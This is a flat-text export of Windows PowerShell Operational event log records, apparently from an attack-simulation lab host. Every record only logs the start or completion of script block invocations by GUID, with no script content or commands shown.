TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030659
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030658
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030657
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030656
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030655
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030654
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030653
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030652
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030651
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030650
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030649
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030648
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030647
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030646
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030645
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030644
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030643
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030642
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030641
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030640
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030639
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030638
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030637
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030636
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030635
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030634
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030633
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030632
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030631
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030630
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030629
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030628
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030627
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030626
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030625
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030624
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030623
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030622
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030621
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030620
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030619
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030618
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030617
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030616
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030615
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030614
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030613
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030612
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030611
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030610
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030609
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030608
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030607
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030606
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
